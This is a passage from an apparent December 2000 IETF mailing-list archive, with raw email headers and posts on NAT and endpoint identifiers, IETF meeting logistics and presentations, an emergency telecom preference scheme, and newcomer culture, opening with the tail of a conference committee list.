USA Abdel Hakim Hafid, Telcordia, USA Mahbub Hassan, Monash University, Australia Anders Hedin, Nutek, Stockolm, Sweden Alexander Latour-Henner, MTI, Ireland Eric Horlait, Universite Pierre et Marie Curie, France Antonio Iera, University of Reggio Calabria, Italy Sergiu Iliescu, University "Politehnica" of Bucharest, Romania Dan Ionescu, University of Ottawa, Canada Alexandru Isar, Technical University of Timisoara, Romania Wojciech Kabaciñski, University of Technology, Poland Masanori Kataoka, Hitachi Ltd., Japan Hyun-Kook Kahng, Korea University, Chungnam, Korea Dae Young Kim, Chungnam University, Korea Venkatesh Krishnaswamy, Lucent Technologies Bell Labs, Holmdel, USA Paul Labbe, Defence Research Establishment, Canada Tal Lavian, Nortel Networks. Inc., CA, USA Ileana Leuca, AT&T Wireless, Seattle, USA Xavier Logean, Institute of Technology, Lausanne, Swiss George Lojewski, University "Politehnica" of Bucharest, Romania Kambiz Madani, Electronic Systems, University of Westminster, UK Ion Marghescu, University "Politehnica" of Bucharest, Romania Alan Marshal, Queen's University at Belfast, Ireland Takis Mathiopoulos, University of British Columbia, Vancouver, Canada Pericles Mitkas, Colorado State University/Aristotle University of Thessaloniki, USA/Greece Antonella Molinaro, University of Messina, Italy Eckhard Moeller, GMD-FOKUS, Berlin, Germany Ioan Nafornita, Technical University of Timisoara, Romania Keiichi Nakane, Hitachi Ltd., Santa Clara, USA Victor Neagoe, University "Politehnica" of Bucharest, Romania Nikolai Nefedov, Nokia, Finland Cristian Negrescu, University "Politehnica" of Bucharest, Romania Grazziela Niculescu, University "Politehnica" of Bucharest, Romania Lars Olsson, Lund University, Sweden Guy Omidyar, Computer Sciences Corporation, USA Arogyaswami Paulraj, Stanford University, Menlo Park, USA Niovi Pavlidou, Aristotle University of Thessaloniki, Greece Dorina Petriu, Carlton University, Ottawa, Canada Emil Petriu, University of Ottawa, Ottawa, Canada Reinhard Posch, IAIK TU-Graz, Austria Didoe Prevedourou, Intracom S.A., Greece Kimmo Raatikainen, Nokia Research Center & University of Helsinki, Finland Pertti Raatikainen, VTT Information Technology, Finland Tatiana Radulescu, University "Politehnica" of Bucharest, Romania Omar Rafiq, Université de Pau, France Mika Rinne, Nokia, Finland Byeong-hee Roh, Ajou University, Seoul, Korea Mihaela Sabin, University of New Hampshire, USA Alexandru Serbanescu, Military Technical Academy Bucharest, Romania Nirmala Shenoy, RMIT University, Australia Zoran Skocir, University of Zagreb, Croatia Said Soulhi, Ericsson Research, Montreal, Canada Pradip Srimani, Colorado State University, USA Eugen Staicut, ICI, Romania Maciej Stasiak University of Technology, Poznan, Poland George Stamoulis, University of Crete and ICS-FORTH, Greece Ray Sundararaman, Lucent, USA Ioan Tabus, Tampere University of Technology, Finland Nicolae Tapus, University "Politehnica" of Bucharest, Romania Yoshitaka Takasaki, Toyo University, Kawagoe, Japan Gheorge Toacse, Transilvania University, Brasov, Romania Sebastiano Trigila, FUB, Rome, Italy Fred Truchetet, IUT, Le Creusot, France Hiroshi Yasuda, University of Tokyo, Japan Oh Ser Wah, ST Microelectronics Asia Pacific, Singapore Bengt Zdebel, Telia Research AB, Farsta, Sweden Sorin Zoican, University "Politehnica" of Bucharest, Romania Wilmut Zschunke, Technische Hochschule Darmstadt, Germany Hans-Juergen Zepernick, ATCRC, Australia (*) Note: members of Steering Committee and Technical Program Co-Chairs are implicitly considered as TCP members From owner-ietf-outbound Fri Dec 22 03:10:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA26728 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 03:10:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA26436 for ; Fri, 22 Dec 2000 02:42:27 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id CAA11676; Fri, 22 Dec 2000 02:42:15 -0500 (EST) Message-Id: <200012220742.CAA11676@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Fred Baker cc: smd@EBONE.NET (Sean Doran), iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 21 Dec 2000 21:34:35 PST." <5.0.2.1.2.20001221213311.04402640@flipper.cisco.com> Date: Fri, 22 Dec 2000 02:41:00 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org yeah, I really wish those who are trying to improve network routing (an endeavor which I respect in principle) would consider that applications really do need stable endpoint identifiers which are globally scoped, exchangable with other applications, and reliably usable from anywhere to reach the process listening to that endpoint. Keith From owner-ietf-outbound Fri Dec 22 04:10:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA27243 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 04:10:02 -0500 (EST) Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27191 for ; Fri, 22 Dec 2000 04:00:08 -0500 (EST) Received: from x49.ripe.net (x49.ripe.net [193.0.1.49]) by birch.ripe.net (8.8.8/8.8.8) with ESMTP id JAA22841; Fri, 22 Dec 2000 09:59:38 +0100 (CET) Received: from localhost (henk@localhost) by x49.ripe.net (8.8.8/8.8.5) with ESMTP id JAA17826; Fri, 22 Dec 2000 09:59:38 +0100 (CET) X-Authentication-Warning: x49.ripe.net: henk owned process doing -bs Date: Fri, 22 Dec 2000 09:59:38 +0100 (CET) From: "Henk Uijterwaal (RIPE-NCC)" To: Scott Brim cc: ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: <14914.31574.923561.911615@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 21 Dec 2000, Scott Brim wrote: > On 20 Dec 2000 at 23:53 -0500, Valdis.Kletnieks@vt.edu apparently wrote: > > I assume that by "Presentations", you mean "tutorial presentations", > > and not "Gee George, your proposal on the mailing list looks novel > > and interesting, but we're not getting it, could you take 10 mins > > in the WG meeting and explain it more fully" presentations? > > I think we can succeed in using mail for clarification (like we're doing > now). We all just have to be willing to look stupid now and then. One picture often says more than a 1000 words. Henk ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal@ripe.net RIPE Network Coordination Centre WWW: http://www.ripe.net/home/henk Singel 258 Phone: +31.20.535-4414, Fax -4445 1016 AB Amsterdam Home: +31.20.4195305 The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ A man can take a train and never reach his destination. (Kerouac, well before RFC2780). From owner-ietf-outbound Fri Dec 22 05:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA27656 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 05:00:02 -0500 (EST) Received: from egyptian-gods.MIT.EDU (EGYPTIAN-GODS.MIT.EDU [18.101.0.162]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27554 for ; Fri, 22 Dec 2000 04:53:00 -0500 (EST) Received: (from ghudson@localhost) by egyptian-gods.MIT.EDU (8.9.3) id EAA21110; Fri, 22 Dec 2000 04:52:54 -0500 Message-Id: <200012220952.EAA21110@egyptian-gods.MIT.EDU> To: "Henk Uijterwaal (RIPE-NCC)" cc: ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: Your message of "Fri, 22 Dec 2000 09:59:38 +0100." Date: Fri, 22 Dec 2000 04:52:54 -0500 From: Greg Hudson X-Loop: ietf@ietf.org >> I think we can succeed in using mail for clarification (like we're >> doing now). We all just have to be willing to look stupid now and >> then. > One picture often says more than a 1000 words. Pictures can be sent (by reference, one hopes) over mailing lists as well. But it's more than that; it can be a lot more efficient to learn by watching someone talk about a topic than by reading about it. Otherwise college lectures would have died soon after the printing press came into vogue. Still, I think the tradeoff is in favor of not having presentations during meeting time, with the occasional exception. There is a whole lot more non-meeting-time out there than meeting time; therefore, making people do an hour's worth of reading to save twenty minutes' worth of in-meeting presentation is probably a good thing. From owner-ietf-outbound Fri Dec 22 06:00:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id GAA28029 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 06:00:03 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA27993 for ; Fri, 22 Dec 2000 05:57:28 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 149Pt4-0000ET-00; Fri, 22 Dec 2000 10:57:22 +0000 Date: Fri, 22 Dec 2000 10:57:18 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Jeffrey Altman cc: Scott Brim , Ken Hornstein , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 21 Dec 2000, Jeffrey Altman wrote: > I know that in the past we have discouraged the notion of a per day > attendance fee because it is an administrative nightmare. Requiring > additional staff to stand at each meeting room to screen badges, ... > But given how tight space has become perhaps a quick fix is to do the > following: > > . encourage non-addicts to only attend the days their working groups > are scheduled for by selling day passes. This doesn't go far enough in our enlightenened market economy. Seats are currency. Give each registrant a number of tokens roughly equal to: (number of seats in sessions x no. of sessions)/(no of registrants). (okay, perhaps slightly more - a degree of overcrowding is permissible, and no market is perfectly efficient. Or slightly less - you want the tokens to be valuable, after all.) Entering a session costs a token, and is collected at the door. If you want to get in to a session, you'll need a token. Let the market do the rest in the bars and halls. Watch as token prices increase throughout the week! L. watch as people sit in place for an entire day with picnic lunches and catheters to save their precious tokens, too... PGP From owner-ietf-outbound Fri Dec 22 06:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id GAA28171 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 06:10:03 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA28080 for ; Fri, 22 Dec 2000 06:02:01 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 149PxY-0000gV-00; Fri, 22 Dec 2000 11:02:00 +0000 Date: Fri, 22 Dec 2000 11:02:00 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Brian E Carpenter cc: ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: <3A429327.D142BA23@hursley.ibm.com> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 21 Dec 2000, Brian E Carpenter wrote: > In fact, having wireless access to drafts, RFCs and mail archives > during the discussion is a real productivity tool IMHO. Exchanging > email about the topic under discussion can be pretty useful too. normos makes tarballs of all the drafts and rfcs available prior to a meet. mailing lists should archive their mails in downloadable text format. You don't need wireless access for this. You just need to do your homework in advance and download everything you need. L. has several thousand drafts and rfcs he still hasn't read on his laptop. PGP From owner-ietf-outbound Fri Dec 22 06:20:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id GAA28302 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 06:20:05 -0500 (EST) Received: from samar.sasi.com (samar.sasken.com [164.164.56.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA28145 for ; Fri, 22 Dec 2000 06:08:34 -0500 (EST) Received: from samar (samar.sasi.com [164.164.56.2]) by samar.sasi.com (8.9.3/8.9.3) with SMTP id QAA25219 for ; Fri, 22 Dec 2000 16:38:09 +0530 (IST) Received: from sunc5.sasi.com ([10.0.32.5]) by samar.sasi.com; Fri, 22 Dec 2000 16:38:08 +0000 (IST) Received: from localhost (rrohit@localhost) by sunc5.sasi.com (8.9.3/8.9.3) with ESMTP id QAA12255; Fri, 22 Dec 2000 16:37:31 +0530 (IST) Date: Fri, 22 Dec 2000 16:37:31 +0530 (IST) From: Rohit Ramani To: Rohit Ramani cc: Subject: Check mail! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org From owner-ietf-outbound Fri Dec 22 07:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA29535 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 07:40:03 -0500 (EST) Received: from rbhub101.chamb.disa.mil (rbhub101.chamb.disa.mil [209.22.120.24]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA29100 for ; Fri, 22 Dec 2000 07:27:46 -0500 (EST) Received: by rbhub101.chamb.disa.mil with Internet Mail Service (5.5.2650.21) id ; Fri, 22 Dec 2000 07:27:46 -0500 Message-ID: <5610E7389363D411995100204804EE5494CEBA@rbmail104.chamb.disa.mil> From: "Folts, Harold" To: "'Harald Alvestrand'" Cc: "'ietf@ietf.org'" Subject: RE: International Emergency Preference Scheme Date: Fri, 22 Dec 2000 07:27:45 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Harald, Many thanks for your comments. I have replied as indicated below: > -----Original Message----- > From: Harald Alvestrand [mailto:Harald@Alvestrand.no] > Sent: Friday, December 22, 2000 1:21 AM > To: Folts, Harold; 'ietf@ietf.org' > Subject: Re: International Emergency Preference Scheme > Importance: Low > > > At 13:25 21/12/2000 -0500, Folts, Harold wrote: > >In March 2000, the ITU-T established Recommendation E.106, A > Description of > >an International Emergency Preference Scheme (IEPS). This > Recommendation > >presents the basic requirements for preferential treatment > of critical > >communications to support recovery operations from serious > disasters such as > >earthquakes and severe storms. While E.106 is based upon > Public Switched > >Telephone Network (PSTN) services, considerable effort is underway to > >migrate these capabilities to next generation networks based > upon Internet > >technology. > > note - this effort is focused at recovering the society from > a serious > disaster, not recovering the network, I think. You are quite right. Recovery operations does primarily mean restoration for society. However, recovery of network resources is often necessary to facilitate the ultimate objective. > > >The first issue of pursuit is to ensure an effective > interface between the > >PSTN and IP-telephony services. > > this strikes me as a profoundly strange approach, but I may be biased. I say the first objective is PSTN/IP-telephony interface because in the US and other countries there are IEPS capabilities built into existing telecom services. However, the second objective is to expand to establish enhanced capabilities that become available from Internet technology - e.g. instant messaging, Email, web access, distributed database, video, etc. > > > It is expected that this interface will > >touch on a number of work areas in the IETF. Many of the > capabilities and > >protocol mechanisms may already exist and need to be > identified and adapted > >as necessary. There could also be some areas where > additional work may be > >needed. Nevertheless, we expect that coordination and > interaction with > >various IETF work areas will be needed to help fulfill the > requirements for > >IEPS in next generation networks. > > Reactions I've heard vary from "their ideas are just too > broken for words" > to "what they want can be built easily using DiffServ - this > should be a > call for tender, not a standardization proposal". > Clarity of desired outcome may be a Good Thing. We are approaching this as a cooperative effort with input from a diversity of interests. I suggest you read the documentation that is available on http://www.iepscheme.net. Once we have a basic framework to follow, we then drill down to details and organize the set of solutions as a collaborative effort. > > > >At IETF 48 in Pittsburgh we had a BOF on IEPS where the > background and > >considerations for IEPS were presented. We hope to have > another BOF with > >more detailed discussion at IETF 50 in Minneapolis. Two > Internet Drafts on > >IEPS have been posted and are available at www.iepscheme.net > along with > >other relevant documents. We also have established an Email List for > >discussion of the IEPS issues. You are invited to subscribe using the > >instructions provided at the IEPS web site and contribute to > the discussions > >and progress of work. > > Mentioning the location of the mailing list may not be a bad idea. The mailing list is ieps@gsfc.nasa.gov - instructions for subscribing are available on the IEPS web site http://www.iepscheme.net. I hope that we can continue these discussions on the IEPS list. Many thanks for you interest and support. Hal > >* * * * * * * * * * * * * * * * * * * * * * * * * * > >* Hal Folts > >* Senior Systems Engineer > >* Next Generation Networks > >* Technology and Programs Division (N2) > >* National Communications System > >* 701 South Courthouse Road > >* Arlington, VA 22204-2198 > >* Tel: +1 703 607-6186 Fax: +1 703 607-4830 > >* * * * * * * * * * * * * * * * * * * * * * * * * * > > > > > >- > >This message was passed through ietf+censored@alvestrand.no, which > >is a sublist of ietf@ietf.org. Not all messages are passed. > >Decisions on what to pass are made solely by Harald Alvestrand. > > -- > Harald Tveit Alvestrand, alvestrand@cisco.com > +47 41 44 29 94 > Personal email: Harald@Alvestrand.no > From owner-ietf-outbound Fri Dec 22 08:30:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA00940 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 08:30:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00630 for ; Fri, 22 Dec 2000 08:22:43 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id IAA10532; Fri, 22 Dec 2000 08:22:36 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id IAA18238; Fri, 22 Dec 2000 08:22:35 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id IAA23680; Fri, 22 Dec 2000 08:22:34 -0500 Date: Fri, 22 Dec 2000 08:21:14 -0500 From: V Guruprasad To: smd@ebone.net Cc: ietf@ietf.org, fred@cisco.com, mfisk@lanl.gov, harald@alvestrand.no, iab@isi.edu Subject: Re: NATs *ARE* evil! Message-ID: <20001222082114.A23644@bubble.watson.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Loop: ietf@ietf.org {I had written:} > | from label switching, so what I'm suggesting is that we take the bull by > | the horns once and for all and run MPLS over IP instead of under it... > > an mplsd-like tag fits neatly in the first half of an ipvsux destination > address, although there are other places in the vsux header you can put > tag bits if you're inclined to do so for stacking reasons or whatnot. > ... > this has all the same problems of NAT where there is no end-to-end > namespace that is not TOPOLOGICAL in nature separate from but convertible > between a namespace populated with globally unique IDENTITY names. > (where that namespace can mean single hosts or service locations or whatever, > but not two or more of these things simultaneously! overloading bad.) > > Sean. The NATty problems also go away when the theme is completed with the globally unique etc. namespace, with a different topology (but yet a spanning tree by definition), and the conversion is formally handled by automatic translation using a context-free attribute grammar distributed en route, so that the label switched path is synthesised e2e without having to return addresses to the client application. I.e. no "overloading". The final architecture one then gets would be that described in draft-guruprasad-addressless-internet-00.txt -p. From owner-ietf-outbound Fri Dec 22 08:40:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA01308 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 08:40:03 -0500 (EST) Received: from ntserver.everyman.ie (ts14-154.dublin.indigo.ie [194.125.175.154]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00772 for ; Fri, 22 Dec 2000 08:26:07 -0500 (EST) Date: Fri, 22 Dec 2000 08:26:07 -0500 (EST) Message-Id: <200012221326.IAA00772@ietf.org> Received: from relay10-b.indigo.ie ([192.168.1.11]) by ntserver.everyman.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YNV1LB2M; Fri, 22 Dec 2000 13:27:17 -0000 FROM: Jamie Plenderleith TO: SUBJECT: Network Utility X-Loop: ietf@ietf.org Dear TCP/IP Expert I apologise if this email is in any way annoying - it is not any form of spam. We got your name by entering the words "tcp/ip" and "expert" into the Google search engine. We are a small software developer in Dublin. We have a product "whaddayagot" that maps out IP addresses and some other stuff on a LAN. We need to get it as rigourously tested as possible and to that end we are asking you to check it out in any way you can and let us know what you think. We will give you a free copy of the product in exchange. The product can be downloaded from ; http://www.everyman.ie/misc/whaddayagot.zip For information on it, goto http://www.everyman.ie and look at the 'Software Dowloads' > 'Whaddayagot' pages. When the product 'expires' , we can give you a username/password to register it. Thank you, Jamie Plenderleith Everyman Technologies 10 Duke St., Dublin 2, Ireland Ph: +353 1 6778977 Email: jamie@everyman.ie Web: www.everyman.ie From owner-ietf-outbound Fri Dec 22 09:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA03313 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 09:30:02 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA02992 for ; Fri, 22 Dec 2000 09:21:33 -0500 (EST) Received: from P2 ("port 1978"@[209.187.148.217]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTP id <0G5Z002HU3VWW0@a4.jck.com> for ietf@ietf.org; Fri, 22 Dec 2000 09:21:33 -0500 (EST) Date: Fri, 22 Dec 2000 09:21:32 -0500 From: John C Klensin Subject: Re: IETF logistics In-reply-to: <043601c06b9f$11a25fc0$d45904d1@cisco.com> To: Melinda Shore Cc: ietf@ietf.org Message-id: <2519315868.977476892@P2> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-disposition: inline Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit --On Thursday, 21 December, 2000 14:40 -0800 Melinda Shore wrote: > Nevertheless, I was *really* irked to be packed into > the back of the room during OPES BOF and to see > people seated in chairs engrossed in various computer > games. I'd say that if you see someone sitting in > a seat you'd like to have and they're playing games, > you should feel free to ask them for their seat. I tend to agree, and note that game-playing (unlike some other non-IETF-useful behavior like portfolio-checking) doesn't require wireless access. Perhaps one thing we should do is to make it more clear that, if one is a lurker who comes into a WG meeting on the theory that it might be interesting, and then it turns out not to be, there is value and no disgrace in walking out (and we should keep the aisles sufficiently clear to facilitate that). On the other hand, there is probably an interaction between "presentations" and in-meeting personal activities that are not WG-constructive (game-playing being only an extreme point). I hope this isn't giving away any dirty little secrets, but, given a slow-moving marketing-oriented presentation of material that has already been discussed in I-Ds and on mailing lists, some people will react by starting to scan email while waiting for something useful to happen. And many of those people will distinctly not be newcomers or quiet lurkers. I'm guilty of it, and assume others are too. But this is another reason to cut down on (or dramatically shorten, or tightly focus) the presentations, not to attack tools such as wireless: I'm perfectly capable of scanning mail during a useless and boring presentation while not connected, it is just less efficient. Incidentally, looking at tools and superficial behavior, rather than causes, is one of the problems with token systems as well. I quite often finding myself trying to cover more than one WG that is meeting at the same time, and we've sometimes deliberately scheduled IAB members to cover more than one concurrent BOF. Schedule conflicts are inevitable unless we figure out how to cut the workload, and these things become necessary. Given ability to get into the room, multiple coverage isn't a problem as long as the S/N ratio is low (or the signal level is low, independent of noise). However, the fact that we can cover two groups in one time slot without missing anything is, again, a symptom. I won't walk out (or tune out) on a WG that is discussing issues of substance in ways that didn't come up on, or couldn't be effectively discussed in, a WG mailing list or in I-Ds. But redundant presentations make the WG meeting more attractive to those who haven't "done their homework". In some sense, this suggests that low-content or repetitive-of-documents presentations _cause_ lurking and game-playing in the rooms. And that WG Chairs need to control those much more aggressively. john From owner-ietf-outbound Fri Dec 22 09:50:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA04007 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 09:50:02 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03808 for ; Fri, 22 Dec 2000 09:43:47 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 2D024898; Fri, 22 Dec 2000 15:43:48 +0100 (CET) To: fred@cisco.com, moore@cs.utk.edu Subject: Re: NATs *ARE* evil! Cc: iab@ISI.EDU, ietf@ietf.org, smd@ebone.net, tytso@MIT.EDU Message-Id: <20001222144348.2D024898@sean.ebone.net> Date: Fri, 22 Dec 2000 15:43:48 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Keith Moore writes: | yeah, I really wish those who are trying to improve network routing | (an endeavor which I respect in principle) would consider that | applications really do need stable endpoint identifiers which | are globally scoped, exchangable with other applications, and | reliably usable from anywhere to reach the process listening | to that endpoint. Understood, and that was probably never a non-goal. The problem about overloading topology and identity is that it's hard to think about separating the overloaded meanings from one another. Worrying that breakage can happen is perfectly understandable from both the perspective of someone needing to work with the "where" (topology locator) and someone needing to work with the "who" (identity name), since in a large, complicated network, the overloading really can be a zero-sum game. A proper separation (or initial non-overloaded design), however, can satisfy both namespace needs. Incidentally, the IRTF's NSRG (http://www.irtf.org/charters/namespace.html) exists to study this problem, and there are a number of interesting ideas being developed there that will meet your wishes expressed above. Sean. From owner-ietf-outbound Fri Dec 22 10:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA05278 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 10:20:01 -0500 (EST) Received: from phobos.email.Arizona.EDU (IDENT:root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05059 for ; Fri, 22 Dec 2000 10:12:20 -0500 (EST) Received: from mica (150.135.92.34) by phobos.email.Arizona.EDU (5.1.046) id 3A41FDE700012146; Fri, 22 Dec 2000 08:12:13 -0700 From: "Liz Walter" To: "Dave Crocker" , "Ken Hornstein" Cc: Subject: RE: Handshakes Date: Fri, 22 Dec 2000 08:17:27 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-reply-to: <5.0.2.1.2.20001221153605.0385cec0@joy.songbird.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit So there is an intentional culture of the internet??? I knew it...something more than a :). Is there truly documentation? liz walter Arizona State Museum Support Systems Analyst -----Original Message----- From: Dave Crocker [mailto:dhc2@dcrocker.net] Sent: December 21, 2000 4:38 PM To: Ken Hornstein Cc: ietf@ietf.org Subject: Re: Handshakes Ken, et al, Humor notwithstanding, please note that I said "special", not "secret". That was quite intentional, and intended to reflect the considerable process and culture documentation AND willingness to teach them. (Yeah. We are and do.) d/ At 04:03 PM 12/21/00 -0600, Brian E Carpenter wrote: >Ken Hornstein wrote: >... > > >Being open does not mean that new arrivals are free from learning the > > >special handshakes and the technical peculiarities of our work; they are > > > > Hm, my mistake, I guess. I read on the IETF web page that the IETF didn't > > have any secret handshakes; I guess I was wrong :-) > >Do you seriously imagine we are going to *teach* you the secret >handshakes? :-) > >But seriously - yes it's hard, and it's probably harder than when I first came >to the IETF in 1992. It's the brightest collection of protocol designers >on earth (I'm not one of them) - it's never going to be an easy club to join. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Fri Dec 22 10:30:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA05543 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 10:30:03 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05301 for ; Fri, 22 Dec 2000 10:21:02 -0500 (EST) Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192]) by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id JAA03930 for ; Fri, 22 Dec 2000 09:15:44 -0600 (CST) Message-Id: <200012221515.JAA03930@rgfsparc.cr.usgs.gov> Date: Fri, 22 Dec 2000 09:15:44 -0600 (CST) From: "Robert G. Ferrell" Reply-To: "Robert G. Ferrell" Subject: Re: Welcoming newcomers To: ietf@ietf.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 7cXabkNGvz0VplN6ENBHzg== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc X-Loop: ietf@ietf.org >I can imagine, without much trouble, a scenario >in which, e.g., someone showed up and claimed to "represent" a >company with considerable IETF experience (and other employees >as long-term participants), started pushing a technically >unviable idea and justifying it on the basis of his or her >company's market position. Unfortunately, this is exactly the sort of thing the IETF is periodically accused of doing. Just look through the archives and you'll see that every so often someone (usually but not always from 'outside') will pop up in public and claim that the IETF is run solely by and for the benefit of large corporations. It isn't a particularly difficult argument to counter, but the damage to the organization's image is still there. Cheers, RGF Robert G. Ferrell, CISSP Information Systems Security Officer National Business Center U. S. Dept. of the Interior Robert_G_Ferrell@nbc.gov ======================================== Who goeth without humor goeth unarmed. ======================================== From owner-ietf-outbound Fri Dec 22 10:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA05712 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 10:40:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05385 for ; Fri, 22 Dec 2000 10:23:55 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id KAA11220; Fri, 22 Dec 2000 10:23:47 -0500 (EST) Message-Id: 